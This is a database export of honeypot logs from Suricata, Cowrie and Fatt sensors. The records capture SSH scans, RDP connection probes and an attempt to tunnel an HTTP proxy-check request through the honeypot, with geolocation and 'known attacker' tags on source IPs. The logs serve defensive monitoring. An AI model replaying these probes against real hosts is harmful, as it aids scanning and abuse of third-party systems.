{"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "189.50.42.214", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1706705942579222, "payload": "AAADzAYUMrA78e2nWPsK+jSijVz1jgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52792, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:33:06.226853Z", "@timestamp": "2021-09-20T11:33:06.226Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......2.;...X.\\n.4..\\\\.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
30181	94.232.41.165	109.199.241.180	Suricata	2021-09-20 14:33:06.517653+03	2021-09-20 14:45:02.665143+03	{"_id": "4Qb7AnwBvYTbRNuEKDrH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:33:06.261521+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 2162341843238289, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 44989, "dest_port": 3389, "timestamp": "2021-09-20T11:33:06.517653Z", "@timestamp": "2021-09-20T11:33:06.517Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30182	94.232.41.165	109.199.241.180	Suricata	2021-09-20 14:33:06.35035+03	2021-09-20 14:45:02.667171+03	{"_id": "5Ab7AnwBvYTbRNuEKDrM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:33:06.261521+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2162341843238289, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 44989, "dest_port": 3389, "timestamp": "2021-09-20T11:33:06.350350Z", "@timestamp": "2021-09-20T11:33:06.350Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30187	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:33:06.428894+03	2021-09-20 14:45:02.673143+03	{"_id": "3wb7AnwBvYTbRNuEKDrH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:33:06.261521+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "94.232.41.165", "flow_id": 2162341843238289, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 44989, "timestamp": "2021-09-20T11:33:06.428894Z", "@timestamp": "2021-09-20T11:33:06.428Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
30183	94.232.41.165	109.199.241.180	Suricata	2021-09-20 14:33:06.517653+03	2021-09-20 14:45:02.668171+03	{"_id": "5Qb7AnwBvYTbRNuEKDrM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:33:06.261521+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 2162341843238289, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 44989, "dest_port": 3389, "timestamp": "2021-09-20T11:33:06.517653Z", "@timestamp": "2021-09-20T11:33:06.517Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30184	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:33:05.994335+03	2021-09-20 14:45:02.669172+03	{"_id": "5gb7AnwBvYTbRNuEKTrW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "189.50.42.214", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52792, "timestamp": "2021-09-20T11:33:05.994335", "@timestamp": "2021-09-20T11:33:05.994Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30185	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:33:03.493072+03	2021-09-20 14:45:02.671173+03	{"_id": "zQb7AnwBvYTbRNuEHToL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:33:00.491893+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 222, "bytes_toserver": 222}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1066873926746485, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 36758, "dest_port": 22, "timestamp": "2021-09-20T11:33:03.493072Z", "@timestamp": "2021-09-20T11:33:03.493Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
30186	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:32:58.000393+03	2021-09-20 14:45:02.672173+03	{"_id": "zwb7AnwBvYTbRNuEJDrd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:57.032520+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 2004838945488648, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 55851, "timestamp": "2021-09-20T11:32:58.000393Z", "@timestamp": "2021-09-20T11:32:58.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
31334	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:14.350169+03	2021-09-20 14:45:04.349143+03	{"_id": "aQYFA3wBvYTbRNuEWUPN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:14.350169Z", "@timestamp": "2021-09-20T11:44:14.350Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
30188	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:33:07.751955+03	2021-09-20 14:45:02.675143+03	{"_id": "8gb7AnwBvYTbRNuELjr5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "69.195.128.18", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to 69.195.128.18:80 from 0.0.0.0:0", "session": "a1a43167aa3f", "@version": "1", "src_port": 0, "dest_port": 80, "timestamp": "2021-09-20T11:33:07.751955Z", "@timestamp": "2021-09-20T11:33:07.751Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
30189	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:33:07.813163+03	2021-09-20 14:45:02.676172+03	{"_id": "8wb7AnwBvYTbRNuELjr5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"id": 1, "data": "b'GET /multi/checkref.php HTTP/1.1\\\\r\\\\nHost: 69.195.128.18\\\\r\\\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt\\\\\\\\)\\\\r\\\\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\\\\r\\\\nAccept-Language: en-US\\\\r\\\\nConnection: TE, close\\\\r\\\\nReferer: http://1632137587.com/\\\\r\\\\nTe: deflate,gzip;q=0.3\\\\r\\\\n\\\\r\\\\n'", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "69.195.128.18", "eventid": "cowrie.direct-tcpip.data", "message": "discarded direct-tcp forward request 1 to 69.195.128.18:80 with data b'GET /multi/checkref.php HTTP/1.1\\\\r\\\\nHost: 69.195.128.18\\\\r\\\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt\\\\\\\\)\\\\r\\\\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\\\\r\\\\nAccept-Language: en-US\\\\r\\\\nConnection: TE, close\\\\r\\\\nReferer: http://1632137587.com/\\\\r\\\\nTe: deflate,gzip;q=0.3\\\\r\\\\n\\\\r\\\\n'", "session": "a1a43167aa3f", "@version": "1", "dest_port": 80, "timestamp": "2021-09-20T11:33:07.813163Z", "@timestamp": "2021-09-20T11:33:07.813Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.data	\N	\N	\N
30190	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:32:56.308643+03	2021-09-20 14:45:02.678143+03	{"_id": "vgb7AnwBvYTbRNuEATqy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 41500, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 670, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 649718785421535, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 44198, "timestamp": "2021-09-20T11:32:56.308643Z", "@timestamp": "2021-09-20T11:32:56.308Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30191	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:32:56.357959+03	2021-09-20 14:45:02.679143+03	{"_id": "wAb7AnwBvYTbRNuEAjrC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35352, "dest_port": 443, "timestamp": "2021-09-20T11:32:56.357959", "@timestamp": "2021-09-20T11:32:56.357Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30192	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:32:56.307423+03	2021-09-20 14:45:02.680143+03	{"_id": "vQb7AnwBvYTbRNuEATqx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 41500, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 649718785421535, "@version": "1", "in_iface": "enp5s0", "src_port": 44198, "dest_port": 53, "timestamp": "2021-09-20T11:32:56.307423Z", "@timestamp": "2021-09-20T11:32:56.307Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30193	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:32:56.398626+03	2021-09-20 14:45:02.681143+03	{"_id": "vwb7AnwBvYTbRNuEAjrC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35352, "timestamp": "2021-09-20T11:32:56.398626", "@timestamp": "2021-09-20T11:32:56.398Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30194	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:33:08.228971+03	2021-09-20 14:45:02.683142+03	{"_id": "9gb7AnwBvYTbRNuEMDqX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:33:07.899551+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 146086626048479, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 51523, "dest_port": 3389, "timestamp": "2021-09-20T11:33:08.228971Z", "@timestamp": "2021-09-20T11:33:08.228Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30195	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:33:11.764526+03	2021-09-20 14:45:02.684142+03	{"_id": "BQb7AnwBvYTbRNuEPjuM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:60545 (192.168.176.2:22) [session: f2b3f14c7288]", "session": "f2b3f14c7288", "@version": "1", "protocol": "ssh", "src_port": 60545, "dest_port": 22, "timestamp": "2021-09-20T11:33:11.764526Z", "@timestamp": "2021-09-20T11:33:11.764Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
